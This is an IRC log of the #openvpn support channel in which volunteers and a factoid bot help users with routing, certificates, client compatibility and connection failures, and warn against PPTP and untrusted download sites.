10:06 < Improv> Wondering if hardware RNGs might speed key regen
10:07 < Improv> gen, rather
10:07 <@krzee> moxie, also be sure the time is correct on all machines involved before you start
10:07 <+moxie> it is
10:07 <@krzee> Improv, if you can hook it into openssl, yes
10:07 < Improv> EugeneKay: Right now that's what we're doing; we have a fast box generating lots of keys.
10:07 <@krzee> Improv, it wont just magically do anything different, but once you modify openssl to use it, it would speed stuff up
10:08 < Improv> krzee: Right. I don't expect magic, but speed would be nice :)
10:08 <+EugeneKay> Sounds like a job for EC2
10:08 <@krzee> :D
10:08 <+EugeneKay> Lollerize the operation!
10:08 <@krzee> EugeneKay, you just suggested using public servers to generate private certs?
10:08 <+EugeneKay> Seriously suggested? No.
10:08 <@krzee> :D
10:09 < Improv> All security in the world is best-effort to some degree.
10:09 <@krzee> that is true
10:09 <+EugeneKay> But I love it when people talk about making $PROBLEM into a "massively parallel one". Just lollerize it onto EC2! The cloud! Rainbow butt ninjas!
10:10 <@krzee> !shotgun
10:10 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun.
10:10 <+EugeneKay> I want a new Mossberg
10:11 < Improv> Hoping the OpenSSL peeps may have some ideas. Cheers
10:11 <@krzee> salud
10:11 < Improv> Oh, and ... Umm... EugeneKay, sorry if I came across as a bit of a douche.
10:11 <+EugeneKay> I suspect they won't; openssl does a lot of crypto sensitive stuffi nternally that would require a rewrite to speed up
10:11 < xTz> !tls-remote
10:11 <+EugeneKay> And do nasty(debian-like) things to your security
10:11 <+EugeneKay> Improv - s'okay, I'm an asshole. FUck you <3
10:12 <@krzee> EugeneKay, why would you suspect they dont?  i think even aes-ni would help him
10:12 <@krzee> (assuming he uses aes)
10:12 < Improv> EugeneKay: I probably could've found a better way to express what I did up there, and the way I did was a bit rough to you. My regrets.
10:12 <+EugeneKay> You're clearly not from NYC
10:12 <+EugeneKay> "fuck you" is a salutation
10:12 < Improv> EugeneKay: True, even though I live there now. :)
10:12 <@krzee> Improv, dont worry you're fine :D
10:13 < Improv> Ciao
10:13 -!- Improv [~pgunn@dachte.org] has left #openvpn []
10:13 <+EugeneKay> krzee - maybe some ideas for rabbit holes to chase down, but actual implementation? Good luck.
10:13 <@krzee> if they're getting new users faster than they can make the certs, they have awesome problems to worry about
10:13 <+EugeneKay> The openssl codebase is a bag of cats
10:13 <@krzee> like how to count all the $
10:15 <@ecrist> if they're that busy, and awesome, I don't know why they need help with something basic like certificate generation
10:15 -!- raidz_away is now known as raidz
10:16 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
10:16 <+EugeneKay> And now the argument has come full circle
10:16 < rob0> haha yes
10:17 < rob0> So in other words, he's on a pointless mission.
10:17 <@krzee> ecrist, hey man even mox is here with cert issues, and he was part of the awesome mschap cloudcracker
10:17 <+EugeneKay> chapstick cloud?
10:17 <@krzee> !pptp
10:17 <@vpnHelper> "pptp" is (#1) PPTP is known to be a faulty protocol. The designers of the protocol, Microsoft, recommend not to use it due to the inherent risks. Lots of people use PPTP anyway due to ease of use, but that doesn't mean it is any less hazardous. The maintainers of PPTP Client and Poptop recommend using OpenVPN (SSL based) or IPSec instead. http://pptpclient.sourceforge.net/protocol-security.phtml to
10:17 <@vpnHelper> read about why to not use pptp or (#2) Why not to use it: http://en.wikipedia.org/wiki/Pptp#Security or (#3) https://www.cloudcracker.com/blog/2012/07/29/cracking-ms-chap-v2/
10:17 <@krzee> that ^
10:17 <@krzee> #3
10:22 -!- Devastator [~devas@186.214.14.95] has joined #openvpn
10:24 -!- moxie [~moxie@gateway/tor-sasl/moxie] has quit [Remote host closed the connection]
10:25 -!- moxie [~moxie@gateway/tor-sasl/moxie] has joined #openvpn
10:25 -!- mode/#openvpn [+v moxie] by krzee
10:25 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Read error: Operation timed out]
10:31 -!- phishy_ [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
10:32 < midacts> Is there a trick to getting a windows client to connect to a linux openvpn server
10:33 <@krzee> !download
10:33 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
10:33 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
10:33 <@krzee> you must use the correct windows client
10:33 <+moxie> what other options are there instead of 'def1' for redirect-gateway
10:33 <@krzee> from there ^
10:33 <@krzee> moxie:
10:33 <@krzee> !man
10:33 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
10:33 <@krzee> under --redirect-gateway
10:34 <+moxie> ah thx
10:34 <@krzee> its time for morning bongloads!
10:34 <@krzee> !krzee
10:34 <@vpnHelper> "krzee" is (#1) krzee says happy 4/20 or (#2) http://www.ircpimps.org/pics/krzee/blunt.jpg or (#3) location: moon base where he smokes moonajuana
10:37 <+EugeneKay> To the MOON
10:37 <@krzee> ecrist, after changing my freebsd router to openwrt, i can safely say that handling multiple routing tables is a pleasure on freebsd
10:38 <@krzee> cause the linux way requires electroshock
10:39 <@ecrist> heh
10:39 <+EugeneKay> One of these days I'll install *bsd
10:41 <@krzee> moxie, so i take it you got past the cert issue
10:41 <@krzee> !goal
10:41 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:42 <+moxie> yea
10:42 <+moxie> working on natting now i guess
10:44 <@krzee> !redirect
10:44 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:44 <@vpnHelper> http://ircpimps.org/redirect.png or (#5) flowchart mirror at http://pekster.sdf.org/misc/redirect.png
10:46  * EugeneKay yawns
10:48 <+moxie> thanks
10:48 <+moxie> how to make internet traffic not go through vpn
10:49 <@krzee> dont use redirect-gateway
10:49 <@krzee> :D
10:49 <+moxie> ok
10:49 <@krzee> if you clearly state your goal i can help better i think
10:49 <+moxie> then i will need to push routes to the client i guess
10:50 <@krzee> wanting access to the server lan?
10:50 <+moxie> not really
10:50 <@krzee> lol ok man i cant guess your goal
10:50 <+moxie> the server is bridging openswan and openvpn
10:51 <@krzee> from openvpn's perspective thats just a lan behind the server
10:51 <@krzee> !serverlan
10:51 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
10:51 <@krzee> you dont need to worry about the router thing
10:51 <@krzee> just ip forwarding on the server, push route to clients
10:52 <@krzee> of course there will be openswan config, but that is outside our scope
10:53 <+moxie> :) thanks
10:53 <@krzee> you said bridging, but you are still using routed tun on the server, not tap bridge, right?
10:53 <+moxie> yeah im using tun at the moment
10:53 <@krzee> good =]
10:53 <+moxie> and KLIPS ipsec0 for openswan
10:53 <+moxie> looks like its working
10:53 <+moxie> just pushing the route for the openswan vpn network
10:54 <+moxie> let me try internet :)
10:54 <+moxie> :)
10:54 <@krzee> also see pm's
11:01 -!- mirco [~mirco@p5080460A.dip0.t-ipconnect.de] has quit [Quit: mirco]
11:02 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
11:13 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
11:35 -!- mattock_afk is now known as mattock
11:40 -!- moxie [~moxie@gateway/tor-sasl/moxie] has quit [Ping timeout: 240 seconds]
11:41 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
11:45 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
11:51 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Read error: Operation timed out]
12:01 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:07 -!- Netsplit *.net <-> *.split quits: Sorcier_FXK, batrick, krapper, MacGyver, and`, haasn, Denial, troj, LeLutin, ShapeShifter499,  (+13 more, use /NETSPLIT to show all of them)
12:08 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
12:09 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 256 seconds]
12:10 -!- Netsplit over, joins: jgeboski, and`, zeroXten, troj, Denial, abyss, lickalott, troyt, lbft, xBytez (+3 more)
12:10 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
12:10 -!- Netsplit over, joins: +pekster, batrick, LeLutin, MikeH_, MacGyver, ShapeShifter499, krapper, clever, haasn
12:11 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Max SendQ exceeded]
12:15 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
12:26 -!- gardar_ [~gardar@gardar.net] has joined #openvpn
12:27 -!- Aketzu_ [akolehma@kelvin.aketzu.net] has joined #openvpn
12:28 -!- majuscul1 [~dylan@dylansserver.com] has joined #openvpn
12:28 -!- lamba_ [~lamba@siology.net] has joined #openvpn
12:28 -!- NChief_ [~nchief@unaffiliated/nchief] has joined #openvpn
12:31 -!- Whoopie_ [~Whoopie@unaffiliated/whoopie] has joined #openvpn
12:32 -!- phishy_ [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
12:32 -!- cyberspace- [20253@ninthfloor.org] has quit [Disconnected by services]
12:32 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
12:33 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
12:35 -!- Netsplit *.net <-> *.split quits: gardar, jareth_, cj_, majuscule, mitz, mnathani, NChief, lamba, Whoopie, Aketzu,  (+1 more, use /NETSPLIT to show all of them)
12:35 -!- _jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
12:36 -!- cyberspace- [20253@ninthfloor.org] has quit [Disconnected by services]
12:36 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
12:37 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Excess Flood]
12:37 -!- majuscul1 is now known as majuscule
12:37 -!- Whoopie_ [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 256 seconds]
12:37 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
12:38 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
12:39 -!- hfp [~user@ovpn.t28.net] has joined #openvpn
12:39 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:41 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
12:42 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
12:54 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Remote host closed the connection]
12:54 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
12:56 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
12:56 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
12:57 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
13:00 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
13:01 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
13:09 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
13:13 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-blwqzfqszjplwcxt] has joined #openvpn
13:20 -!- surfhai [~tg@p508BEA87.dip0.t-ipconnect.de] has joined #openvpn
13:25 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
13:27 -!- JSharpe [~JSharpe@90.205.250.10] has joined #openvpn
13:28 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
13:30 -!- dazo is now known as dazo_afk
13:32 -!- JSharpe [~JSharpe@90.205.250.10] has quit [Quit: Leaving]
13:37 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
13:41 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
14:04 -!- steffan_ [~smuxi@50709EB6.static.ziggozakelijk.nl] has joined #openvpn
14:05 -!- steffan_ [~smuxi@50709EB6.static.ziggozakelijk.nl] has left #openvpn []
14:09 -!- kplong [~kplong@c-24-18-254-15.hsd1.wa.comcast.net] has joined #openvpn
14:21 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has quit [Ping timeout: 256 seconds]
14:23 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
14:25 -!- desmo [~desmo@c-107-3-50-191.hsd1.vt.comcast.net] has joined #openvpn
14:35 -!- moxie [~moxie@gateway/tor-sasl/moxie] has joined #openvpn
14:48 -!- _jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 245 seconds]
14:50 -!- desmo [~desmo@c-107-3-50-191.hsd1.vt.comcast.net] has left #openvpn []
14:55 -!- desmo [~desmo@c-107-3-50-191.hsd1.vt.comcast.net] has joined #openvpn
15:05 -!- desmo [~desmo@c-107-3-50-191.hsd1.vt.comcast.net] has left #openvpn []
15:05 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
15:09 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
15:15 < moxie> is there a way to combine they certs and key and config file into one file?
15:15 < moxie> for...ease of use
15:16 < rob0> !pkcs12
15:16 <+pekster> moxie: See the --pkcs12 option and create a p12 containing what you want
15:16 <+pekster> Or,
15:16 <+pekster> !inline
15:16 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page at https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAV or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
15:17 < moxie> :D
15:17 < moxie> thank you
15:20 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
15:22 -!- MadMerlin|work_ [~neil@206-248-184-9.dsl.teksavvy.com] has left #openvpn ["Konversation terminated!"]
15:23 -!- kplong [~kplong@c-24-18-254-15.hsd1.wa.comcast.net] has quit [Quit: This computer has gone to sleep]
15:23 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
15:44 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
15:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds]
15:47 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 240 seconds]
15:50 -!- Whoopie [Whoopie@unaffiliated/whoopie] has joined #openvpn
15:53 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
16:11 -!- oc80z [~oc80z@blea.ch] has joined #openvpn
16:23 -!- moxie [~moxie@gateway/tor-sasl/moxie] has quit [Ping timeout: 240 seconds]
16:25 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 256 seconds]
16:34 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
16:36 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Read error: Connection reset by peer]
16:38 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
16:38 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
16:46 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
16:46 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
16:50 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
17:26 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 268 seconds]
17:29 -!- surfhai [~tg@p508BEA87.dip0.t-ipconnect.de] has quit [Quit: Leaving.]
17:36 -!- rob0__ [rob0@harrier.slackbuilds.org] has joined #openvpn
17:36 -!- rob0__ [rob0@harrier.slackbuilds.org] has quit [Changing host]
17:36 -!- rob0__ [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
17:42 -!- Netsplit *.net <-> *.split quits: Denial, JackWinter, DrCode, @krzee, troyt, rob0, dxtr, Rallias, bitg, kloeri,  (+38 more, use /NETSPLIT to show all of them)
17:42 -!- rob0__ is now known as rob0
17:43 -!- Muffins [~nanderson@69.146.233.50] has quit [Quit: Leaving]
17:44 -!- kplong [~kplong@c-24-18-254-15.hsd1.wa.comcast.net] has joined #openvpn
17:44 -!- Netsplit over, joins: pekster, cj, Aketzu_, ShapeShifter499, haasn, clever, krapper, MacGyver, MikeH_, LeLutin (+1 more)
17:44 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
17:44 -!- Netsplit over, joins: jgeboski, krzee, soapee01, troj, master_of_master, Sorcier_FXK, Cultist, xBytez, lbft, troyt (+15 more)
17:44 -!- bitg [bitg@gateway/shell/xzibition.com/x-vvbudtnmpdqhvcan] has joined #openvpn
17:44 -!- Netsplit over, joins: _quadDamage, eliasp, kloeri, krphop, Serano
17:44 -!- ServerMode/#openvpn [+vo pekster krzee] by holmes.freenode.net
17:45 < kplong> pekster thanks. looks like index.txt does update, with the first field saying "R" if it is revoked
17:45 -!- Netsplit over, joins: DrCode, Scub_
17:45 < kplong> simply be running ./revoke-full
17:45 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Max SendQ exceeded]
17:45 < kplong> by*
17:45 <+pekster> Right, but it won't update magically
17:45 <+pekster> ie: if you just "let the PKI be" it won't know that any time has passed
17:47 < xTz> any1 awake? :)
17:47 < xTz> why doesnt OpenVPN Connect for Android like the tls-remote option? :(
17:48 -!- Serano [~serano@rooty.be] has quit [Ping timeout: 245 seconds]
17:48 <+pekster> No. Absoultely no one. All 7 billion people are asleep
17:48 <+pekster> No clue; it's not open-source or GPL, so this is the wrong place to ask
17:48 <+pekster> !as
17:48 <@vpnHelper> "as" is (#1) please go to #OpenVPN-AS for help with Access-Server or (#2) AS is a commercial product by OpenVPN Technologies Inc, and is NOT the same thing as the Community openvpn, which we support here.
17:48 < xTz> lol :)
17:48 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Max SendQ exceeded]
17:48 < xTz> whats as?
17:48 <+pekster> The AS and corporate non-free products use a completely different codebase, so it's only "mostly GPL OpenVPN compatible"
17:48 -!- dropje_ [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
17:48 -!- master_o1_master [~master_of@p4FF24C38.dip0.t-ipconnect.de] has joined #openvpn
17:49 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Write error: Broken pipe]
17:49 -!- master_of_master [~master_of@p4FF24C38.dip0.t-ipconnect.de] has quit [Remote host closed the connection]
17:49 <+pekster> It's crap that's not supported here because it's *not* OpenVPN; it's "OpenVPN Connect" which has nothing to do with OpenVPN beyind a stupidly simmilar name and attempting to mostly play nice with the open-source wire-protocol
17:49 -!- JackWinter1 [~jack@vodsl-10021.vo.lu] has joined #openvpn
17:49 <+EugeneKay> !android
17:49 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
17:50 < rob0> well, let's not be mean about it, because the company which sponsors AS also sponsors GPL openvpn :)
17:50 <+EugeneKay> Should really get a Play store link in there.
17:50 <+EugeneKay> https://play.google.com/store/apps/details?id=de.blinkt.openvpn
17:50 <+pekster> rob0: Maybe. I still am annoyed that the first "download" link on the "open-source" page is the non-free stuff. Becuase that's not confusing or something :\
17:51 <+pekster> Redhat figured this out themselves too and split the Fedora stuff off cleanly
17:51 < rob0> It made sense that they used the openvpn name, because, well, that's why they bought it and gave James a job.
17:51 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
17:51 <+pekster> It's still sponsored by RH, just clearly a separate codebase with its own, open-source downloads
17:51 <+EugeneKay> I wish openvpn.org went to GPL page, and .net to the corporate stuff.
17:51 <+EugeneKay> That's at least a clean separation
17:51 <+pekster> Yup. I wonder if I can bring that up for an agenda item on the next meeting (I was busy during the last one)
17:52 <+pekster> There's been some minor progress to moving certain support pages (eg: the GPL OpenVPN-GUI page) to the community-maintained wiki
17:52 <+EugeneKay> Really, making the Community site completely separate. As few links between the two as possible.
17:52 <+EugeneKay> The Downlaods dropdown is totally confusing, even for me.
17:53 <+EugeneKay> And the fact that it's "Community" sounds more like a damned forum. "Open Source" is much better IMO
17:54 <+pekster> The heading text calls it "OpenVPN Community Development Project" which is even more confusing, since that's where *user* docs/downloads are located too, not just developer-resources
17:54 -!- Serano [~serano@rooty.be] has joined #openvpn
17:54 <+pekster> Anyway, yea, I'll poke the issue a bit, maybe draft up a cute looking landing page on the wiki or something as a prototype. Maybe some community members can maintain a page on a semi-restricted part of the site somewhere
17:55 <+EugeneKay> The front page button going from Community-->Open Source, and linking to the wiki would probably do it, but as you say, somebody would need to work on THAT.
17:56 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
18:00 -!- SuperLag [~akulbe@unaffiliated/superlag] has joined #openvpn
18:02 < SuperLag> I have a customer site I'm trying to connect to, for work. They provide a Sophos VPN client to do that with, on Windows/Mac. I've read of people using OpenVPN on Linux (which is my configuration) to connect to systems like that... but I'm not sure what options to specify. All I have are a set of credentials and a server address.
18:04 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:05 -!- haroldofurtado [~Haroldo@177.207.36.18.dynamic.adsl.gvt.net.br] has joined #openvpn
18:06 <+pekster> !learn connect as OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide
18:06 <@vpnHelper> Joo got it.
18:06 <+pekster> That's probably a better way to put it, and less typing for me :P
18:06 <+pekster> !notcompat
18:06 <@vpnHelper> "notcompat" is (#1) IPsec, PPTP, & L2TP are _not_ compatible with OpenVPN. OpenVPN uses SSL whereas PPTP and IPSEC use their own protocols and therefore cannot be compatible. or (#2) OpenVPN connects only to OpenVPN
18:06 <+pekster> SuperLag: ^^
18:10 < SuperLag> I'm confused.
18:10 < SuperLag> You're saying it isn't compatible?
18:10 <+pekster> OpenVPN only ever connects to another OpenVPN client
18:11 <+pekster> If they *are* using OpenVPN, they are required legally to tell you that they are using it and give you the sources or a link to download them
18:11 -!- superkissen [~superkiss@90-229-184-44-no213.tbcn.telia.com] has joined #openvpn
18:11 < SuperLag> Okay. I have a Sophos client installed in an XP vm. It connects to the customer system just fine. When I look at the logs for that connection (in Windows), it refers to OpenVPN
18:12 < rob0> Sophos VPN is probably ipsec, perhaps with proprietary bits.
18:12 < rob0> hmm
18:12 <+pekster> Out of curousity do you have a link to the client download you used?
18:12 < SuperLag> give me a second, and I'll put the log in a bin
18:12 <+pekster> Sure, I'm curious now to see what's going on
18:12 < rob0> okay, it's not ipsec
18:13 < SuperLag> http://paste.ubuntu.com/5882505/
18:13 <+pekster> rob0: Some of their marketing FUD looks more like an ALG that they mis-labeled as a "VPN"
18:13 <+pekster> heh
18:14 < xTz> de.blinkt.openvpn rocks the house, tls-remote works like a charm :)
18:14 <+pekster> SuperLag: That's GPL OpenVPN log output, yes. The download you used to provide that is legally required to inform you of this fact
18:14 <+pekster> If not, it's not legal for them to have done this :\
18:15 < rob0> pekster, sometimes I wish I had a tiny piece of the action of these companies which are taking advantage of people who don't know any better.
18:15 < rob0> And then I am glad I still have my self respect. ;)
18:16 <+pekster> Yea, and it's silly because all they need to do is either use an unmodified GPL-OpenVPN package and add their own widgets on top of it, or open the sources to the bits they link against. I have no problem with companies that explain this clearly during the install phase and optionally bolt on non-free components as an additional "feature value" or w/e
18:16 < SuperLag> guys... you're talking about policies and legality stuff... all I want to do is connect.
18:16 < SuperLag> so I'm not sure how what you're saying is relevant
18:16 <+pekster> SuperLag: We don't support "Sophos" here. OpenVPN is all we support here
18:16 <+pekster> !howto
18:16 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
18:16 <+pekster> ^^ That how-to will show you how to connect between endpoints you control
18:17 <+pekster> If you do not control both locations, then there is no possible way to know how the remote end is configured and we cannot help you figure that out
18:17 <+pekster> !provider
18:17 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
18:17 < SuperLag> pekster: I thought the log file might have revealing info
18:17 <+pekster> The log shows a successful connection; I'm not sure what you want
18:20 <+pekster> If you're running this from some "provider" of services, you need to contact them, not us. If you run your own OpenVPN setup and are having issues, you'll generally need to explain your !goal, pastebin !configs and !logs from *both* ends of the connection, and possibly have some information from your !interface available on request
18:22 -!- haroldofurtado [~Haroldo@177.207.36.18.dynamic.adsl.gvt.net.br] has quit [Quit:  I love my HydraIRC -> http://www.hydrairc.com <-]
18:25 < SuperLag> Okay. Thanks.
18:27 < superkissen> hello everyone!, i recently reinstalled my windows 7 ultimate 64bit and installed openvpn 2.3.2-I001-i686 and then added the same config files as before, and now i cannot connect whatsoever, i have reinstalled windows several times, tried all kinds of openvpn but it simply do not connect.. just stays yellow.. while on linux it connects properly as before :( i have no idea what to do anymore..
18:27 < superkissen> is this a bug in the later versions or is there some fix?
18:28 <+pekster> No bug; I've run the 2.3 series on XP through Windows 8. Chances are good you either forgot to run the GUI with administrative rights, or have a config issue
18:29 <+pekster> Information on launching the GUI can be found here:
18:29 <+pekster> !gui
18:29 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
18:29 < superkissen> it is in administrative rights, even without firewall it does not connect
18:29 < superkissen> it says someting about TLS handshake failed :(
18:30 -!- jareth_ [~jareth_@bak.project-treadstone.nl] has joined #openvpn
18:31 <+pekster> !logs
18:31 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
18:31 <+pekster> !config
18:31 <@vpnHelper> (config <name> [<value>]) -- If <value> is given, sets the value of <name> to <value>. Otherwise, returns the current value of <name>. You may omit the leading "supybot." in the name if you so choose.
18:31 <+pekster> !configs
18:31 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
18:31 -!- kplong [~kplong@c-24-18-254-15.hsd1.wa.comcast.net] has quit [Quit: This computer has gone to sleep]
18:32 < xTz> !remote-cert-tls
18:32 <+pekster> xTz,
18:32 <+pekster> !mitm
18:32 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
18:33 < superkissen> if i paste the log it might spam the whole window, who shall i send the log to?
18:34 < Dar1us> superkissen: pastebin
18:34 < xTz> pekster: tnx
18:35 < superkissen> http://pastebin.com/e0qguZ4B
18:36 <+pekster> That's simply showing that the client got no reply from the remote end
18:36 <+pekster> What do the logs from the server say?
18:37 <+pekster> Either the request isn't making it there, or the initial reply packet isn't coming back
18:37 < superkissen> where do i find the server log?
18:37 <+pekster> Given the rDNS on that IP, I suspect you're using a provider, in which case you need to ask *them*, not us (we can't fix problems when you're not in control of both ends)
18:37 <+pekster> On the *server*, naturally
18:38 < superkissen> so.. its the server that is ..screwing up? ;_;
18:38 < superkissen> but.. it works on linux..
18:38 < superkissen> and not my windows..
18:40 <+pekster> No clue
18:40 <+pekster> !both
18:40 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
18:40 <+pekster> Could be the client firewall too
18:40 <+pekster> Or a misconfiguration in this system, as I noted before
18:40 <+pekster> "Packets aren't getting back to your client" is your problem. Without morre information from the remote end, it's impossible to say why
18:41 < superkissen> i am suspecting my isp might be filtering my traffic then..
